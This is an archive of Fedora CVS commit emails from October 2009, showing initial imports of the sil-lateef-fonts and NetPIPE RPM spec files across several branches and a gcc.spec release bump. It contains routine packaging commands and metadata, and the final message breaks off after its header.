Message-ID: <20091017215951.7B9BB11C00EC@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-lateef-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5933/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-lateef-fonts-fontconfig.conf 
	sil-lateef-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
sil-lateef-fonts-1_001-1_fc11:HEAD:sil-lateef-fonts-1.001-1.fc11.src.rpm:1255815801


--- NEW FILE sil-lateef-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Lateef</family>
    </prefer>
  </alias>
  <alias>
    <family>Lateef</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE sil-lateef-fonts.spec ---
%global fontname sil-lateef
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        1%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=Lateef_OT_1_001&filename=LateefRegOT_1.001.zip
Source0:        LateefRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Lateef is named after Shah Abdul Lateef Bhitai, the famous Sindhi mystic and
poet. It is intended to be an appropriate style for use in Sindhi and other
languages of the South Asian region.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Tue Oct 06 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:17:00 -0000	1.1
+++ .cvsignore	17 Oct 2009 21:59:50 -0000	1.2
@@ -0,0 +1 @@
+LateefRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:17:00 -0000	1.1
+++ sources	17 Oct 2009 21:59:51 -0000	1.2
@@ -0,0 +1 @@
+c060ab84ab33ae8f991103258b8e7f22  LateefRegOT_1.001.zip



From hedayat at fedoraproject.org  Sat Oct 17 22:07:04 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Sat, 17 Oct 2009 22:07:04 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/F-12 import.log, NONE,
	1.1 sil-lateef-fonts-fontconfig.conf, NONE,
	1.1 sil-lateef-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091017220704.E6D5111C00EC@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-lateef-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9769/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-lateef-fonts-fontconfig.conf 
	sil-lateef-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
sil-lateef-fonts-1_001-1_fc11:F-12:sil-lateef-fonts-1.001-1.fc11.src.rpm:1255817092


--- NEW FILE sil-lateef-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Lateef</family>
    </prefer>
  </alias>
  <alias>
    <family>Lateef</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE sil-lateef-fonts.spec ---
%global fontname sil-lateef
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        1%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=Lateef_OT_1_001&filename=LateefRegOT_1.001.zip
Source0:        LateefRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Lateef is named after Shah Abdul Lateef Bhitai, the famous Sindhi mystic and
poet. It is intended to be an appropriate style for use in Sindhi and other
languages of the South Asian region.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Tue Oct 06 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:17:00 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:07:04 -0000	1.2
@@ -0,0 +1 @@
+LateefRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:17:00 -0000	1.1
+++ sources	17 Oct 2009 22:07:04 -0000	1.2
@@ -0,0 +1 @@
+c060ab84ab33ae8f991103258b8e7f22  LateefRegOT_1.001.zip



From jakub at fedoraproject.org  Sat Oct 17 22:09:38 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Sat, 17 Oct 2009 22:09:38 +0000 (UTC)
Subject: rpms/gcc/F-12 .cvsignore, 1.302, 1.303 gcc.spec, 1.81, 1.82 sources,
	1.306, 1.307
Message-ID: <20091017220938.82FC911C00EC@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11194

Modified Files:
	.cvsignore gcc.spec sources 
Log Message:
4.4.2-3


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.302
retrieving revision 1.303
diff -u -p -r1.302 -r1.303
--- .cvsignore	16 Oct 2009 16:42:34 -0000	1.302
+++ .cvsignore	17 Oct 2009 22:09:38 -0000	1.303
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091016.tar.bz2
+gcc-4.4.2-20091017.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- gcc.spec	16 Oct 2009 16:42:34 -0000	1.81
+++ gcc.spec	17 Oct 2009 22:09:38 -0000	1.82
@@ -1,9 +1,9 @@
-%global DATE 20091016
-%global SVNREV 152909
+%global DATE 20091017
+%global SVNREV 152957
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 2
+%global gcc_release 3
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -1181,6 +1181,13 @@ chmod 644 %{buildroot}%{_mandir}/man1/un
 %check
 cd obj-%{gcc_target_platform}
 
+%if %{build_java}
+export PATH=`pwd`/../fastjar-%{fastjar_ver}/obj-%{gcc_target_platform}${PATH:+:$PATH}
+%if !%{bootstrap_java}
+export PATH=`pwd`/java_hacks${PATH:+:$PATH}
+%endif
+%endif
+
 # run the tests.
 make %{?_smp_mflags} -k check ALT_CC_UNDER_TEST=gcc ALT_CXX_UNDER_TEST=g++ RUNTESTFLAGS="--target_board=unix/'{,-fstack-protector}'" || :
 echo ====================TESTING=========================
@@ -1848,6 +1855,10 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Sat Oct 17 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-3
+- fix VTA handling in the scheduler (PR debug/41535)
+- fix up %%check section to be able to find ecj1
+
 * Fri Oct 16 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-2
 - update from gcc-4_4-branch
   - PR target/40913


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.306
retrieving revision 1.307
diff -u -p -r1.306 -r1.307
--- sources	16 Oct 2009 16:42:34 -0000	1.306
+++ sources	17 Oct 2009 22:09:38 -0000	1.307
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-4de70ea1225876c24389dded5dd39b9d  gcc-4.4.2-20091016.tar.bz2
+b848bfbd9f0a7662dc812e10fb88376d  gcc-4.4.2-20091017.tar.bz2



From hedayat at fedoraproject.org  Sat Oct 17 22:14:25 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Sat, 17 Oct 2009 22:14:25 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/F-11 import.log, NONE,
	1.1 sil-lateef-fonts-fontconfig.conf, NONE,
	1.1 sil-lateef-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091017221426.66E8C11C00EC@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-lateef-fonts/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10951/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-lateef-fonts-fontconfig.conf 
	sil-lateef-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
sil-lateef-fonts-1_001-1_fc11:F-11:sil-lateef-fonts-1.001-1.fc11.src.rpm:1255817294


--- NEW FILE sil-lateef-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Lateef</family>
    </prefer>
  </alias>
  <alias>
    <family>Lateef</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE sil-lateef-fonts.spec ---
%global fontname sil-lateef
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        1%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=Lateef_OT_1_001&filename=LateefRegOT_1.001.zip
Source0:        LateefRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Lateef is named after Shah Abdul Lateef Bhitai, the famous Sindhi mystic and
poet. It is intended to be an appropriate style for use in Sindhi and other
languages of the South Asian region.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Tue Oct 06 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:17:00 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:14:23 -0000	1.2
@@ -0,0 +1 @@
+LateefRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:17:00 -0000	1.1
+++ sources	17 Oct 2009 22:14:24 -0000	1.2
@@ -0,0 +1 @@
+c060ab84ab33ae8f991103258b8e7f22  LateefRegOT_1.001.zip



From boodle at fedoraproject.org  Sat Oct 17 22:18:37 2009
From: boodle at fedoraproject.org (boodle)
Date: Sat, 17 Oct 2009 22:18:37 +0000 (UTC)
Subject: rpms/NetPIPE/devel NetPIPE.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017221837.BEEE511C00EC@cvs1.fedora.phx.redhat.com>

Author: boodle

Update of /cvs/pkgs/rpms/NetPIPE/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15989/devel

Modified Files:
	.cvsignore sources 
Added Files:
	NetPIPE.spec import.log 
Log Message:
initial commit




--- NEW FILE NetPIPE.spec ---
Summary: Protocol independent performance tool
Name: NetPIPE
Version: 3.7.1
Release: 2%{?dist}
License: GPL+
Group: Applications/Internet
URL: http://bitspjoule.org/netpipe/

Source: http://bitspjoule.org/netpipe/code/NetPIPE-%{version}.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

%description
NetPIPE is a protocol independent performance tool that visually represents
the network performance under a variety of conditions. It performs simple
ping-pong tests, bouncing messages of increasing size between two processes,
whether across a network or within an SMP system. Message sizes are chosen
at regular intervals, and with slight perturbations, to provide a complete
test of the communication system. Each data point involves many ping-pong
tests to provide an accurate timing. Latencies are calculated by dividing
the round trip time in half for small messages ( < 64 Bytes ).

%prep
%setup -q 

%build
make %{?_smp_mflags} memcpy tcp \
	CFLAGS="$RPM_OPT_FLAGS"

%install
rm -rf %{buildroot}
chmod 0644 dox/*
chmod 0644 bin/feplot
chmod 0644 bin/geplot
chmod 0644 bin/nplaunch

install -Dp -m0755 NPmemcpy %{buildroot}%{_bindir}/NPmemcpy
install -Dp -m0755 NPtcp %{buildroot}%{_bindir}/NPtcp
install -Dp -m0644 dox/netpipe.1 %{buildroot}%{_mandir}/man1/netpipe.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc dox/netpipe_paper.ps  dox/README dox/np_cluster2002.pdf dox/np_euro.pdf
%doc bin/feplot bin/geplot bin/nplaunch
%doc %{_mandir}/man1/netpipe.1*
%{_bindir}/*

%changelog
* Thu Oct 15 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-2
- Cleaned up spec file
* Mon Oct 14 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- changed: buildroot
- added: -q to setup
- added: %{?dist} tag to release field
- modified: CFLAGS
- fixed perms on netpipe.spec
- removed obsoletes line
- removed executable perms on docs files
* Mon Sep 12 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- Rebuild for Fedora



--- NEW FILE import.log ---
NetPIPE-3_7_1-2_fc11:HEAD:NetPIPE-3.7.1-2.fc11.src.rpm:1255817841


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:46:01 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:18:36 -0000	1.2
@@ -0,0 +1 @@
+NetPIPE-3.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:46:01 -0000	1.1
+++ sources	17 Oct 2009 22:18:37 -0000	1.2
@@ -0,0 +1 @@
+5f720541387be065afdefc81d438b712  NetPIPE-3.7.1.tar.gz



From hedayat at fedoraproject.org  Sat Oct 17 22:19:24 2009
From: hedayat at fedoraproject.org (Hedayat Vatankhah)
Date: Sat, 17 Oct 2009 22:19:24 +0000 (UTC)
Subject: rpms/sil-lateef-fonts/F-10 import.log, NONE,
	1.1 sil-lateef-fonts-fontconfig.conf, NONE,
	1.1 sil-lateef-fonts.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091017221924.0279C11C00EC@cvs1.fedora.phx.redhat.com>

Author: hedayat

Update of /cvs/pkgs/rpms/sil-lateef-fonts/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16374/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sil-lateef-fonts-fontconfig.conf 
	sil-lateef-fonts.spec 
Log Message:
initial import



--- NEW FILE import.log ---
sil-lateef-fonts-1_001-1_fc11:F-10:sil-lateef-fonts-1.001-1.fc11.src.rpm:1255817897


--- NEW FILE sil-lateef-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Lateef</family>
    </prefer>
  </alias>
  <alias>
    <family>Lateef</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE sil-lateef-fonts.spec ---
%global fontname sil-lateef
%global fontconf 65-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.001
Release:        1%{?dist}
Summary:        An Arabic script unicode font

Group:          User Interface/X
License:        OFL
URL:            http://scripts.sil.org/ArabicFonts
# The file complete URL is as follows:
# http://scripts.sil.org/cms/scripts/render_download.php?site_id=nrsi&format=file&media_id=Lateef_OT_1_001&filename=LateefRegOT_1.001.zip
Source0:        LateefRegOT_1.001.zip
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel
Requires:       fontpackages-filesystem

%description
Lateef is named after Shah Abdul Lateef Bhitai, the famous Sindhi mystic and
poet. It is intended to be an appropriate style for use in Sindhi and other
languages of the South Asian region.

%prep
%setup -q -c %{name}-%{version}


%build
for docfile in *.txt; do
    fold -s $docfile > $docfile.new && \
    sed -i "s|\r||g" $docfile.new && \
    touch -r $docfile $docfile.new && \
    mv $docfile.new $docfile
done

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}

%_font_pkg -f %{fontconf} *.ttf

%doc *.txt

%changelog
* Tue Oct 06 2009 Hedayat Vatankhah <hedayat at grad.com> - 1.001-1
- Initial version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:17:00 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:19:23 -0000	1.2
@@ -0,0 +1 @@
+LateefRegOT_1.001.zip


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sil-lateef-fonts/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:17:00 -0000	1.1
+++ sources	17 Oct 2009 22:19:23 -0000	1.2
@@ -0,0 +1 @@
+c060ab84ab33ae8f991103258b8e7f22  LateefRegOT_1.001.zip



From boodle at fedoraproject.org  Sat Oct 17 22:21:18 2009
From: boodle at fedoraproject.org (boodle)
Date: Sat, 17 Oct 2009 22:21:18 +0000 (UTC)
Subject: rpms/NetPIPE/F-10 NetPIPE.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017222118.313A711C00EC@cvs1.fedora.phx.redhat.com>

Author: boodle

Update of /cvs/pkgs/rpms/NetPIPE/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17021/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	NetPIPE.spec import.log 
Log Message:
Initial F-10 Commit




--- NEW FILE NetPIPE.spec ---
Summary: Protocol independent performance tool
Name: NetPIPE
Version: 3.7.1
Release: 2%{?dist}
License: GPL+
Group: Applications/Internet
URL: http://bitspjoule.org/netpipe/

Source: http://bitspjoule.org/netpipe/code/NetPIPE-%{version}.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

%description
NetPIPE is a protocol independent performance tool that visually represents
the network performance under a variety of conditions. It performs simple
ping-pong tests, bouncing messages of increasing size between two processes,
whether across a network or within an SMP system. Message sizes are chosen
at regular intervals, and with slight perturbations, to provide a complete
test of the communication system. Each data point involves many ping-pong
tests to provide an accurate timing. Latencies are calculated by dividing
the round trip time in half for small messages ( < 64 Bytes ).

%prep
%setup -q 

%build
make %{?_smp_mflags} memcpy tcp \
	CFLAGS="$RPM_OPT_FLAGS"

%install
rm -rf %{buildroot}
chmod 0644 dox/*
chmod 0644 bin/feplot
chmod 0644 bin/geplot
chmod 0644 bin/nplaunch

install -Dp -m0755 NPmemcpy %{buildroot}%{_bindir}/NPmemcpy
install -Dp -m0755 NPtcp %{buildroot}%{_bindir}/NPtcp
install -Dp -m0644 dox/netpipe.1 %{buildroot}%{_mandir}/man1/netpipe.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc dox/netpipe_paper.ps  dox/README dox/np_cluster2002.pdf dox/np_euro.pdf
%doc bin/feplot bin/geplot bin/nplaunch
%doc %{_mandir}/man1/netpipe.1*
%{_bindir}/*

%changelog
* Thu Oct 15 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-2
- Cleaned up spec file
* Mon Oct 14 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- changed: buildroot
- added: -q to setup
- added: %{?dist} tag to release field
- modified: CFLAGS
- fixed perms on netpipe.spec
- removed obsoletes line
- removed executable perms on docs files
* Mon Sep 12 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- Rebuild for Fedora



--- NEW FILE import.log ---
NetPIPE-3_7_1-2_fc11:F-10:NetPIPE-3.7.1-2.fc11.src.rpm:1255818009


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:46:01 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:21:17 -0000	1.2
@@ -0,0 +1 @@
+NetPIPE-3.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:46:01 -0000	1.1
+++ sources	17 Oct 2009 22:21:18 -0000	1.2
@@ -0,0 +1 @@
+5f720541387be065afdefc81d438b712  NetPIPE-3.7.1.tar.gz



From boodle at fedoraproject.org  Sat Oct 17 22:21:55 2009
From: boodle at fedoraproject.org (boodle)
Date: Sat, 17 Oct 2009 22:21:55 +0000 (UTC)
Subject: rpms/NetPIPE/F-11 NetPIPE.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017222155.787DD11C0260@cvs1.fedora.phx.redhat.com>

Author: boodle

Update of /cvs/pkgs/rpms/NetPIPE/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17318/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	NetPIPE.spec import.log 
Log Message:
Initial F-11 Commit




--- NEW FILE NetPIPE.spec ---
Summary: Protocol independent performance tool
Name: NetPIPE
Version: 3.7.1
Release: 2%{?dist}
License: GPL+
Group: Applications/Internet
URL: http://bitspjoule.org/netpipe/

Source: http://bitspjoule.org/netpipe/code/NetPIPE-%{version}.tar.gz
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

%description
NetPIPE is a protocol independent performance tool that visually represents
the network performance under a variety of conditions. It performs simple
ping-pong tests, bouncing messages of increasing size between two processes,
whether across a network or within an SMP system. Message sizes are chosen
at regular intervals, and with slight perturbations, to provide a complete
test of the communication system. Each data point involves many ping-pong
tests to provide an accurate timing. Latencies are calculated by dividing
the round trip time in half for small messages ( < 64 Bytes ).

%prep
%setup -q 

%build
make %{?_smp_mflags} memcpy tcp \
	CFLAGS="$RPM_OPT_FLAGS"

%install
rm -rf %{buildroot}
chmod 0644 dox/*
chmod 0644 bin/feplot
chmod 0644 bin/geplot
chmod 0644 bin/nplaunch

install -Dp -m0755 NPmemcpy %{buildroot}%{_bindir}/NPmemcpy
install -Dp -m0755 NPtcp %{buildroot}%{_bindir}/NPtcp
install -Dp -m0644 dox/netpipe.1 %{buildroot}%{_mandir}/man1/netpipe.1

%clean
rm -rf %{buildroot}

%files
%defattr(-, root, root, -)
%doc dox/netpipe_paper.ps  dox/README dox/np_cluster2002.pdf dox/np_euro.pdf
%doc bin/feplot bin/geplot bin/nplaunch
%doc %{_mandir}/man1/netpipe.1*
%{_bindir}/*

%changelog
* Thu Oct 15 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-2
- Cleaned up spec file
* Mon Oct 14 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- changed: buildroot
- added: -q to setup
- added: %{?dist} tag to release field
- modified: CFLAGS
- fixed perms on netpipe.spec
- removed obsoletes line
- removed executable perms on docs files
* Mon Sep 12 2009 Scott Collier <boodle11 at gmail.com> - 3.7.1-1.2
- Rebuild for Fedora



--- NEW FILE import.log ---
NetPIPE-3_7_1-2_fc11:F-11:NetPIPE-3.7.1-2.fc11.src.rpm:1255818054


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:46:01 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:21:55 -0000	1.2
@@ -0,0 +1 @@
+NetPIPE-3.7.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/NetPIPE/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:46:01 -0000	1.1
+++ sources	17 Oct 2009 22:21:55 -0000	1.2
@@ -0,0 +1 @@
+5f720541387be065afdefc81d438b712  NetPIPE-3.7.1.tar.gz



From boodle at fedoraproject.org  Sat Oct 17 22:22:59 2009
From: boodle at fedoraproject.org (boodle)
Date: Sat, 17 Oct 2009 22:22:59 +0000 (UTC)
Subject: rpms/NetPIPE/EL-5 NetPIPE.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017222259.BB06111C0260@cvs1.fedora.phx.redhat.com>

Author: boodle

Update of /cvs/pkgs/rpms/NetPIPE/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18055/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	NetPIPE.spec import.log 
Log Message:
Initial EL-5 commit




